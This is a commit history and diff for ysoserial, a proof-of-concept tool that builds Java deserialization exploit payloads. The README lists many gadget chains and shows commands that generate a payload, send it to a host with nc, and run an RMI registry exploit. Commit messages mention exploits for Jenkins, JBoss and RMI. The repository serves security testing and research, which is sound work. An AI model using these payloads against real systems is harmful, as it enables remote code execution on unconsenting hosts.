164 Commits
Author SHA1 Message Date
Chris Frohoff 51110f9b71 Publish uberjar as github release (#187) 2022-06-28 18:44:09 -07:00
Chris Frohoff 8eb5cbfbf6 test fixes (#166)
* fix badge url

* switch to https repo url
2021-08-17 18:54:51 -07:00
YunLemon d13299428d Improve Travis CI build Performance (#164) 2021-08-17 16:14:45 -07:00
Chris Frohoff 79179e00b8 minimal test for escaping issues in createTemplatesImpl (#165) 2021-08-17 16:13:01 -07:00
XinRoom 76ac2bb259 Resolve escape error (#151)
Resolve escape error:
Caused by: compile error: ) is missing
2021-08-17 15:46:32 -07:00
Michael Stepankin d367e379d9 New gadget chain based on Apache Click (#154)
1. Add ysoserial.payloads.Click1 class
2. Update README.md with latest payloads
3. Remove duplicated "commons-io:commons-io:2.6" entry from pom.xml
2021-02-02 08:41:29 -08:00
testanull 138dc36bd2 Add AspectJWeaver file write gadget (#145)
* Add AspectJWeaver file write gadget
2021-01-11 08:57:01 -08:00
Chris Frohoff 750168c6d3 Merge pull request #149 from Alexandre-Bartel/jdk12_setAccessible
Just call setAccessible with Java > 12
2021-01-05 11:11:54 -08:00
Chris Frohoff 4df2ee2bb5 Merge pull request #150 from frohoff/fix_jk6
fix jdk6 protocol errors
2020-12-23 13:52:55 -08:00
Chris Frohoff 63fb038cfb fix jdk6 protocol errors 2020-12-23 21:37:39 +00:00
Chris Frohoff df9cea71d3 Merge pull request #148 from Alexandre-Bartel/missing_dep
Added missing dependency
2020-12-23 11:27:45 -08:00
Alexandre Bartel fc577c0bcd Just call setAccessible with Java > 12 2020-12-14 11:23:59 +01:00
Alexandre Bartel 0d5604ea73 Added missing dependency 2020-12-14 11:07:02 +01:00
Chris Frohoff 6eca5bc740 Merge pull request #144 from drwetter/patch-2
Using HTTPS
2020-08-28 08:58:59 -07:00
Chris Frohoff 8ede62029d Merge pull request #139 from JLLeitschuh/fix/JLL/use_https_to_resolve_dependencies
[SECURITY] Use HTTPS to resolve dependencies in Maven Build
2020-08-28 08:58:43 -07:00
Chris Frohoff 7bcd9e7974 Merge pull request #131 from drwetter/patch-1
Use HTTPS for jenkins repo
2020-08-28 08:58:16 -07:00
Chris Frohoff 098854113c Merge pull request #130 from Jakobu5/master
Update README.md
2020-08-28 08:57:56 -07:00
Dirk Wetter a7be14877a Using HTTPS
* added for jenkins
  * also added for repo1.maven.org
2020-07-10 16:19:56 +02:00
Jonathan Leitschuh 6bdb3ef3f8 Use HTTPS instead of HTTP to resolve dependencies
This fixes a security vulnerability in this project where the `pom.xml`
files were configuring Maven to resolve dependencies over HTTP instead of
HTTPS.

Signed-off-by: Jonathan Leitschuh <[email protected]>
2020-02-11 00:10:26 -05:00
Dirk Wetter 9d74e17ae6 Use HTTPS for jenkins repo
... tested & worked for me
2019-10-15 11:19:26 +02:00
Jakobu5 d5a95e34aa Update README.md 2019-10-14 13:27:15 +02:00
Chris Frohoff 30099844c6 Merge pull request #119 from jax777/patch-1
Fixes #90
2019-09-07 12:01:49 -04:00
Chris Frohoff 66cda5a6cf Merge pull request #127 from frohoff/docker_assembly_fix
Fix for Dockerfile assembly.xml issue
2019-08-05 22:29:51 -07:00
Chris Frohoff 33f61bff57 Merge pull request #115 from frohoff/test_fixes
Test fixes
2019-08-05 21:58:31 -07:00
Chris Frohoff fe74b6b200 fix for dockerfile 2019-08-05 21:57:47 -07:00
jax777 863dc87f78 Update CommonsCollections5.java
real Gadget chain:
2019-05-06 16:40:28 +08:00
Chris Frohoff 55f1e7c35c Adding exploit JMXInvokeMBean (#111)
Adding exploit JMXInvokeMBean
2019-05-01 08:41:39 -07:00
Chris Frohoff baa74aa3f6 mark test as flaky 2019-04-25 16:04:42 -07:00
Chris Frohoff f829b478ae Quiet jigsaw warnings (#114)
Quiet jigsaw warnings
2019-04-25 14:29:32 -07:00
Chris Frohoff 02757f649c quiet jigsaw warnings 2019-04-25 14:17:30 -07:00
Chris Frohoff f5e40c8d74 Assembly to include tests in jar (#104)
Assembly to include tests in jar
2019-04-25 09:21:18 -07:00
Chris Frohoff eb1c49eae7 fix travis config 2019-04-25 08:34:51 -07:00
Chris Frohoff 7adb3cfe63 refactors 2019-04-25 08:20:07 -07:00
Chris Frohoff 4543487154 assembly to include tests in jar 2019-04-25 08:20:07 -07:00
Chris Frohoff 47154e8c7f CommonsCollections7 payload (#110)
CommonsCollections7 payload
2019-04-25 08:11:24 -07:00
Hans-Martin Münch 17085eb804 Adding exploit JMXInvokeMBean 2019-03-16 17:53:04 +01:00
scristalli f2ea3ae83a CommonsCollections7 payload 2019-03-15 19:24:29 +01:00
Chris Frohoff ff59523eb6 Merge pull request #106 from tint0/rhino-gadget-2
MozillaRhino2 gadget
2019-02-06 09:08:02 -08:00
tint0 04c198a3d0 getDeclaredField raises exception instead of returning null when field isn't found
(cherry picked from commit 348d873)
2019-01-30 13:21:47 +07:00
tint0 6ba90d2d83 New rhino gadget
(cherry picked from commit 7533f65)
2019-01-30 13:21:25 +07:00
Chris Frohoff f31677fbc3 Merge pull request #91 from supersache/vaadingadget
Vaadin gadget
2018-11-19 23:38:08 -08:00
Chris Frohoff 8cf9802a0c Merge pull request #103 from frohoff/fixes
Various JDK Build/Test Fixes
2018-11-19 13:37:12 -08:00
Chris Frohoff ecdac3988b troubleshooting travis jdk6 build 2018-11-19 08:22:36 -08:00
Chris Frohoff cecdd80a81 print mvn version 2018-11-16 18:17:06 -08:00
Chris Frohoff 548857e3f6 jdk10+ compile fixes 2018-11-16 18:08:51 -08:00
Chris Frohoff 3f4922505f fix for jdk10+ 2018-11-16 17:44:28 -08:00
Chris Frohoff 8c1917f603 fixes for jdk6 2018-11-16 17:41:40 -08:00
Chris Frohoff 986647e372 more robust java version parsing 2018-11-16 17:35:24 -08:00
Chris Frohoff 9b5b85da81 after_script to print extra test info 2018-11-16 17:34:53 -08:00
Chris Frohoff d0f4dfd092 reorganizing travis config 2018-11-16 17:08:24 -08:00
Chris Frohoff 63ff643129 fix travisci config for jdk6 2018-11-16 13:43:28 -08:00
Chris Frohoff ef1a1beb1a attempt to fix jdk6/7 appveyor config 2018-11-16 13:25:44 -08:00
Chris Frohoff 6909d5269d retry on failure for flaky gadgets/tests 2018-11-16 11:40:23 -08:00
Chris Frohoff fd911d0969 fix (hopefully) test flakiness 2018-11-16 11:02:44 -08:00
Chris Frohoff 377216a525 disable some gadgets/tests for jdk6 2018-11-16 10:47:29 -08:00
Chris Frohoff 09440ff356 fix build for jdk6 2018-11-16 10:23:03 -08:00
Chris Frohoff 4088b8cda2 remove serialization-stage secmgr to avoid spurious errors due to extra surefire thread 2018-11-15 13:17:25 -08:00
Chris Frohoff a1a40d239f upgraded surefire to workaround SUREFIRE-1588 issue 2018-11-15 09:13:34 -08:00
Francesco Soncina ecc60747a5 fix: include javax.el with hibernate5, fix #97 (#98) 2018-11-04 09:46:56 -08:00
supersache e0b15a3961 additional dependency added, precondition badattrvalexcobj 2018-09-20 13:00:21 +02:00
Chris Frohoff 16fc48b22b fix download link (#92) 2018-09-19 19:03:36 -07:00
supersache 614fcfeb2a Changed from TemplatesImpl to Object 2018-09-19 15:08:27 +02:00
supersache 58e578b0f6 Changes for the new Vaadin Gadget 2018-09-19 14:55:56 +02:00
Félix Martel-Denis 99f463cc69 hibernate3 payload (#88) 2018-09-12 08:25:06 -07:00
Nicky Bloor 477ecb8f05 Add support for exploiting SSL RMI services. (#81)
* Add support for exploiting SSL RMI services.

* Make PMD happy.
2018-04-23 08:49:47 -07:00
Chris Frohoff e9f112ac50 fix jitpack link (#83) 2018-04-02 11:54:39 -07:00
Chris Frohoff b617b7badd Merge pull request #73 from frohoff/doc-updates
doc updates
2017-09-23 16:05:37 -04:00
Chris Frohoff b4d4d580a5 fixed payload authors, removed versions from jar names, added marshalsec/ysoserial.net links 2017-09-23 16:00:16 -04:00
Chris Frohoff 1f2e7bf08e fix badge 2017-09-07 22:50:31 -07:00
Chris Frohoff 2b10caa99b readme badge updates 2017-09-07 22:48:33 -07:00
Chris Frohoff e2110861a2 travis/appveyor config changes 2017-09-07 22:40:54 -07:00
Chris Frohoff 02b32407d9 appveyor.yml 2017-09-07 22:25:22 -07:00
Chris Frohoff 3f352eacc6 bumping up wait time 2017-09-07 21:41:14 -07:00
Chris Frohoff 73c5d1dbd4 cache maven repo in travis builds 2017-09-07 21:07:39 -07:00
Chris Frohoff c01dc9cf40 ignore internal api compile warnings 2017-09-07 20:22:11 -07:00
Chris Frohoff 5d5fdc458b disable stack trace trimming in surefire 2017-09-07 19:47:58 -07:00
Chris Frohoff 52383a180d docker support 2017-09-05 10:05:27 -07:00
Chris Frohoff 80b0d2f368 fixed broken tests 2017-09-03 23:40:17 -07:00
Chris Frohoff 8a330853c6 test/author fixes 2017-09-03 11:19:05 -07:00
Chris Frohoff fa0ba6031c Merge pull request #55 from SkylarWatson/file_upload_test
Updated payload args in FileUploadTest to match what production code …
2017-09-03 10:32:46 -07:00
Chris Frohoff fb1e65e5f2 0.0.6 snapshot 2017-09-02 21:07:43 -07:00
Chris Frohoff 19514a45e4 0.0.5 release 2017-09-02 21:07:05 -07:00
Chris Frohoff 028ee30e9c fixes, refactoring 2017-09-02 20:57:11 -07:00
Chris Frohoff 6088aa3f20 Merge pull request #70 from relaxnow/patch-1
Update README.md to reflect additional payloads
2017-09-02 12:47:51 -07:00
Boy Baukema 55800d1e3a Update README.md to reflect additional payloads 2017-08-10 11:10:39 +02:00
Chris Frohoff 35bce8fe45 Merge pull request #68 from JackOfMostTrades/clojure-gadget
Add a gadget chain for exploiting the presence of clojure.
2017-07-19 10:38:12 -07:00
Ian Haken 4cb0a5a17a Add a gadget chain for exploiting the presence of clojure. 2017-07-08 09:40:26 -07:00
Chris Frohoff ca38b73711 Merge pull request #67 from h3xstream/master
URLDNS: Small fix to avoid DNS resolution while generating the payload
2017-06-09 10:15:14 -07:00
Philippe Arteau f379338272 URLDNS: Small fix to avoid DNS resolution while generating the payload 2017-05-23 17:45:04 -04:00
Chris Frohoff 5bd2ced110 Merge pull request #66 from gebl/master
Add URLDNS gadget, that uses the argument as a URL to trigger a DNS l…
2017-03-26 19:19:56 -07:00
Gabriel Lawrence 12a9f56d01 Add URLDNS gadget, that uses the argument as a URL to trigger a DNS lookup. 2017-03-27 01:34:28 +00:00
Chris Frohoff ad26e2bd46 links to jitpack jars, note about release removal, build instructions 2016-10-19 11:33:38 -07:00
Skylar 8ad9b583a6 Updated payload args in FileUploadTest to match what production code is looking for; Added Intellij project files to .gitignore 2016-08-14 19:52:32 -05:00
Chris Frohoff d143b8cbfb Merge pull request #52 from matthiaskaiser/master
Adding the RhinoGadget, Javassist/Weld, JBossInterceptors  Gadget to ysoserial.
2016-07-29 09:28:06 -07:00
Matthias Kaiser 436d2040e4 Merge branch 'master' of https://github.com/frohoff/ysoserial 2016-07-29 12:39:26 +02:00
Matthias Kaiser a62a266df5 Updated names 2016-07-29 12:36:02 +02:00
Chris Frohoff bbebd8bd64 Merge pull request #53 from jacob-baines/fileupload2
FileUpload2
2016-07-28 10:06:11 -07:00
Jacob Baines d8bef9642a Rename FileUpload2 to Wicket1 2016-07-28 09:03:05 -04:00
Matthias Kaiser 2e6f61c039 Adding a Javassist/Weld/JBossInterceptor gadgets to ysoserial. 2016-07-26 17:11:11 +02:00
Matthias Kaiser 0f9526ff24 Adding a Javassist/Weld/JBossInterceptor gadgets to ysoserial. 2016-07-26 16:42:46 +02:00
Matthias Kaiser 8698844034 Adding a Javassist/Weld gadget to ysoserial. 2016-07-26 16:15:42 +02:00
Matthias Kaiser 2ae8b051a5 Adding the RhinoGadget to ysoserial.
The gadget uses the standalone version of Rhino ("org.mozilla.javascript.*"-namespace).
2016-07-26 14:48:09 +02:00
Chris Frohoff 80b21d9cb3 Merge pull request #51 from jacob-baines/jython_java6
Fix Jython1 Breaking Java 6
2016-07-25 16:57:38 -07:00
Jacob Baines 0fb8d8d222 Don't use API introduced in Java 7 2016-07-25 18:09:31 -04:00
Jacob Baines 6f3dd217c7 Created FileUpload2 based on Apache Wicket's version of DiskFileItem. Also changed FileUpload1 to support Windows filepaths 2016-07-25 14:15:39 -04:00
Chris Frohoff 74254d2cc7 Merge pull request #44 from mbechler/master
Test fixes, some minor stuff
2016-07-25 09:38:03 -07:00
Chris Frohoff 09603ef5ed Merge pull request #49 from jacob-baines/jython-general
A more generalized Jython1
2016-07-25 09:36:16 -07:00
Chris Frohoff e90e8725b4 Merge pull request #50 from matthiaskaiser/master
Adding general CC gadget that works with IBM and Oracle JRE
2016-07-25 09:35:16 -07:00
matthiaskaiser 39ea0590fb Adding general CC gadget that works with IBM and Oracle JRE 2016-07-04 16:32:51 +02:00
Jacob Baines f924363559 A more generalized Jython1 use case 2016-06-26 20:38:25 -04:00
mbechler c61106f69f Some minor improvements
- Let JRMPListener dump the object id used in DGC calls.
- Allow full specification of JDNI name in Hibernate2, accordingly fix JRMPReverseConnectTest
- Randomize object id in JRMLClient payload for increased reliability (and side channel)
2016-05-14 10:29:39 +02:00
mbechler c7a3f8c65c Fix tests
- extract version checking code
- add version check for AnnotationInvocationHandler usage
- add java.rmi.server.useCodebaseOnly=false to surefire system properties
2016-05-14 10:04:56 +02:00
Chris Frohoff 8adc168dc0 Merge pull request #34 from gitter-badger/gitter-badge
Add a Gitter chat badge to README.md
2016-03-18 08:53:00 -07:00
The Gitter Badger e8b739c383 Add Gitter badge 2016-03-18 15:51:49 +00:00
Chris Frohoff 1bd7e9e488 disabling jython test 2016-03-13 17:19:30 -07:00
Chris Frohoff 0b402d2bee Merge pull request #29 from pwntester/jython_gadget
Rebased Jython Gadget
2016-03-13 16:42:51 -07:00
Alvaro Muñoz 097179b703 Rebased Jython Gadget 2016-03-14 00:30:31 +01:00
Chris Frohoff 2650ab6093 skip cc5 test for now 2016-03-13 12:28:06 -07:00
Chris Frohoff 3be56c7ac8 Merge pull request #26 from jasinner/AnnotationInvocationHandler
workaround for issue 17
2016-03-13 12:19:54 -07:00
Chris Frohoff 4b798a1d6e Merge pull request #20 from mbechler/cleanup
Cleaned up version of #14
2016-03-13 12:12:41 -07:00
mbechler 3230c080ff Add rome (RSS/Atom library) gadget chain.
Add exploit and test code for JRMP reverse connect remote classloading.
2016-03-12 17:35:17 +01:00
Jason Shepherd 5d9e0e9eca workaround for issue 17 2016-03-11 10:56:16 +10:00
mbechler bdb1e0db3d Add some tooling docs 2016-03-09 15:30:04 +01:00
mbechler 6873a43409 Drop empty javadocs. 2016-03-09 14:11:15 +01:00
Chris Frohoff c86d134f14 Merge pull request #21 from nikaiw/master
Fix method name in the usage part of the documentation
2016-03-07 10:39:45 -08:00
nk acc264faa7 Fix method name in the usage part of the documentation 2016-03-07 18:05:46 +01:00
mbechler 2d6962162b Made json-lib gadget chain more reliable. 2016-03-07 11:35:52 +01:00
mbechler 3273b27c75 JRMPListener Java6 compatiblity. 2016-03-06 19:32:08 +01:00
mbechler eabfce0dc2 Disable json-lib test as the gadget chain depends on the HashMap ordering which seemingly is different
across JDK versions.
2016-03-06 19:24:32 +01:00
mbechler b814712e19 Fix HashMap creation for java7. 2016-03-06 18:53:39 +01:00
mbechler 4795bce7ff Add hook for payload generators to modify the object before finalizers are called
(to fix the fileupload test and also to prevent exploiting yourself, also may be
useful for finalizer based gadgets)
2016-03-06 15:50:59 +01:00
mbechler 5fc361df4f A final touch 2016-03-06 14:54:49 +01:00
mbechler 8beeec6594 Add JBoss/Wildfly exploitation client. 2016-03-06 14:54:49 +01:00
mbechler 37dbcf57e4 Fix fileupload test reliability 2016-03-06 14:54:49 +01:00
mbechler c94779b83d Add jenkins client and exploits (CVE-2016-0788) 2016-03-06 14:54:49 +01:00
mbechler 6bb0d80aa0 Some cleanup of myfaces gadgets. 2016-03-06 14:54:49 +01:00
mbechler 7879428d9c Add MyFaces gadgets.
Add ability to provide a custom deserializer (needed for setting up the faces context)
2016-03-06 14:54:49 +01:00
mbechler d6658809cf Move payload annotation to annotation package. 2016-03-06 14:54:49 +01:00
mbechler bba1460cb6 Remove wrong copyright notices, again 2016-03-06 14:54:49 +01:00
mbechler c8e82237fe Add C3P0 gadget chain.
Add remote classloading test harness.
2016-03-06 14:54:49 +01:00
mbechler 20580e918d Add commons fileupload file operation gadget chain. 2016-03-06 14:54:49 +01:00
mbechler 6f9c8dca2b Rename beanutils gadget 2016-03-06 14:54:49 +01:00
mbechler 4130fc5545 Add spring variant and json-lib gadget chain. 2016-03-06 14:54:49 +01:00
mbechler bd21624609 Add hibernate gadget chains.
Remove missed copyright notices.
2016-03-06 14:54:49 +01:00
mbechler 436e831cbd Add JRMP utilties, gadgets and test code. 2016-03-06 14:54:49 +01:00
mbechler 8dfce7ed73 Add custom test infrastructure. 2016-03-06 14:54:49 +01:00
mbechler 7157d5e297 Some basic cleanups (warnings, imports)
Add controlled instantiation constructor utility.
2016-03-06 14:54:49 +01:00
mbechler a69ce66e69 Add ability to generate TemplatesImpl payloads with an actual non-shaded xalan implementation. 2016-03-06 14:53:30 +01:00
Chris Frohoff 48338fb6e7 Merge pull request #4 from ltearno/patch-1
Call setAccessible only once
2016-03-04 01:07:00 -08:00
Chris Frohoff 39574362ad Merge pull request #13 from pwntester/master
BeanShell exploit
2016-02-27 16:09:01 -08:00
Alvaro Muñoz c616a23428 BeanShell exploit 2016-02-27 23:50:11 +01:00
Chris Frohoff adb16e1e09 bump version to next snapshot 2016-02-25 07:47:28 -08:00
Chris Frohoff 87c91b27a0 added beanutils gadget chain, release 0.0.4 2016-02-24 14:26:00 -08:00
Chris Frohoff 2c79998485 remove cruft 2016-02-24 13:57:41 -08:00
Chris Frohoff ed18a40523 updated README 2016-01-26 17:27:19 -08:00
Chris Frohoff 0e99a197c6 jre7u21 gadget chain, refactors 2016-01-26 17:18:32 -08:00
Arnaud Tournier 5b4b8a3320 Call setAccessible only once
In the getField method, due to recursion, the field.setAccessible was called a number of times equal to the number of level to go up the hierarchy to find the field
2015-12-11 16:32:32 +01:00
Chris Frohoff 4f00182efc Update README.md 2015-11-04 13:16:02 -08:00
Chris Frohoff 79219f7792 fixed spring, commons-collections4 payloads, made test cases more robust 2015-01-29 21:33:26 -08:00
Chris Frohoff 1c82fda4e4 readme updates 2015-01-29 08:14:15 -08:00
Chris Frohoff f3e0ca6456 removed openjdk8 from travis config 2015-01-29 08:14:04 -08:00
Chris Frohoff dbdce11f76 clear checks between tets, just in case 2015-01-29 07:52:17 -08:00
Chris Frohoff cdfaff46cd next snapshot 2015-01-29 07:50:22 -08:00
Chris Frohoff 58f3804a39 added link to talk slides 2015-01-28 11:58:14 -08:00
96 changed files with 7043 additions and 521 deletions
+13
View File
@@ -0,0 +1,13 @@
root = true
[*]
end_of_line = lf
charset = utf-8
trim_trailing_whitespace = true
insert_final_newline = true
indent_style = space
indent_size = 4
max_line_length = 120
[*.{yml,yaml}]
indent_size = 2
+40
View File
@@ -0,0 +1,40 @@
name: publish jar
on:
push:
tags:
- "v*.*.*"
permissions:
contents: write
jobs:
publish:
runs-on: ubuntu-latest
permissions:
contents: write
packages: write
steps:
- uses: actions/checkout@v3
- uses: actions/setup-java@v3
with:
java-version: '8'
distribution: 'adopt'
cache: 'maven'
- name: Set version
run: mvn versions:set -DnewVersion=${{ github.ref_name }}
- name: Build jar
run: mvn -B clean package -DskipTests
# - name: publish maven jar
# run: mvn -B deploy -DskipTests -DrepositoryId=github
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: Rename artifact
run: mv target/ysoserial-${{ github.ref_name }}-all.jar target/ysoserial-all.jar
- name: Publish GitHub release
uses: softprops/action-gh-release@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
files: target/ysoserial-all.jar
+13 -1
View File
@@ -1,5 +1,17 @@
/target # java
*.class
# mvn
target/
# eclipse
.classpath .classpath
.project .project
.settings/ .settings/
# idea
.idea/
*.iml
# tests
pwntest pwntest
+48 -6
View File
@@ -1,7 +1,49 @@
dist: trusty
language: java language: java
jdk:
- oraclejdk8 cache:
- openjdk8 directories:
- oraclejdk7 - $HOME/.m2
- openjdk7 - $HOME/.mvn/
- openjdk6
# jdk6 requires workarounds https://github.com/travis-ci/travis-ci/issues/9713
addons:
apt:
packages:
- openjdk-6-jdk
before_install:
- > # install mvn 3.2.5 for use with java6
which $HOME/.mvn/3.2.5/bin/mvn || mkdir -p $HOME/.mvn/3.2.5 &&
curl https://apache.osuosl.org/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz |
tar xz -C $HOME/.mvn/3.2.5 --strip-components=1
- if [ "$TRAVIS_JDK_VERSION" == "openjdk6" ]; then jdk_switcher use openjdk6; fi
- mvn -v
after_script:
- > # print more detailed info about test results
cat target/surefire-reports/TEST-ysoserial.test.payloads.PayloadsTest.xml |
grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- --
matrix:
fast_finish: true
allow_failures:
- jdk: oraclejdk11
- jdk: openjdk6
- jdk: openjdk7
- jdk: openjdk9
- jdk: openjdk10
- jdk: openjdk11
include:
#- jdk: oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
- jdk: oraclejdk8
- jdk: oraclejdk11
- jdk: openjdk6
env: PATH=$HOME/.mvn/3.2.5/bin:$PATH
- jdk: openjdk7
- jdk: openjdk8
- jdk: openjdk9
- jdk: openjdk10
- jdk: openjdk11
+23
View File
@@ -0,0 +1,23 @@
FROM maven:3.5-jdk-8 as builder
WORKDIR /app
# download artifacts
COPY pom.xml .
COPY assembly.xml .
RUN mvn dependency:resolve
RUN mvn verify
RUN mvn compiler:help
# build
COPY src ./src
RUN mvn clean package -DskipTests
RUN mv target/ysoserial-*all*.jar target/ysoserial.jar
FROM java:8-jdk-alpine
WORKDIR /app
COPY --from=builder /app/target/ysoserial.jar .
ENTRYPOINT ["java", "-jar", "ysoserial.jar"]
+85 -14
View File
@@ -1,14 +1,30 @@
# ysoserial # ysoserial
[![Join the chat at https://gitter.im/frohoff/ysoserial](
https://badges.gitter.im/frohoff/ysoserial.svg)](
https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
[![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)](
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
[![Travis Build Status](https://api.travis-ci.com/frohoff/ysoserial.svg?branch=master)](https://travis-ci.com/frohoff/ysoserial)
[![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
![](https://github.com/frohoff/ysoserial/blob/master/ysoserial.png) ![logo](ysoserial.png)
## Description ## Description
ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java Originally released as part of AppSecCali 2015 Talk
libraries. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then ["Marshalling Pickles: how deserializing objects will ruin your day"](
https://frohoff.github.io/appseccali-marshalling-pickles/)
with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).
Later updated to include additional gadget chains for
[JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and several other libraries.
__ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of
objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes
this data, the chain will automatically be invoked and cause the command to be executed on the application host. this data, the chain will automatically be invoked and cause the command to be executed on the application host.
@@ -25,20 +41,52 @@ are not responsible or liable for misuse of the software. Use responsibly.
## Usage ## Usage
```shell ```shell
$ java -jar ysoserial-0.0.1-all.jar $ java -jar ysoserial.jar
Y SO SERIAL? Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]' Usage: java -jar ysoserial.jar [payload] '[command]'
Available payload types: Available payload types:
CommonsCollections1 Payload Authors Dependencies
CommonsCollections2 ------- ------- ------------
Groovy1 AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
Spring1 BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
``` ```
## Examples ## Examples
```shell ```shell
$ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 calc.exe | xxd $ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A 0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat 0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
@@ -47,15 +95,33 @@ $ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 calc.exe | xxd
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride.......... 0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.: 0000570: 0078 7071 007e 003a .xpq.~.:
$ java -jar ysoserial-0.0.1-all.jar Groovy1 calc.exe > groovypayload.bin $ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 < groovypayload.bin $ nc 10.10.10.10 1099 < groovypayload.bin
$ java -cp ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe $ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
``` ```
## Installation ## Installation
1. Download the latest jar from the "releases" section. 1. Download the latest jar from
[JitPack](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
[![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)](
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
Note that GitHub-hosted releases were removed in compliance with the
[GitHub Community Guidelines](
https://help.github.com/articles/github-community-guidelines/#what-is-not-allowed)
## Building
Requires Java 1.7+ and Maven 3.x+
```mvn clean package -DskipTests```
## Code Status
[![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
[![Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
## Contributing ## Contributing
@@ -64,3 +130,8 @@ $ java -cp ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost 1099 Comm
3. Commit your changes (`git commit -am 'Add some feature'`) 3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`) 4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request 5. Create new Pull Request
## See Also
* [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet): info on vulnerabilities, tools, blogs/write-ups, etc.
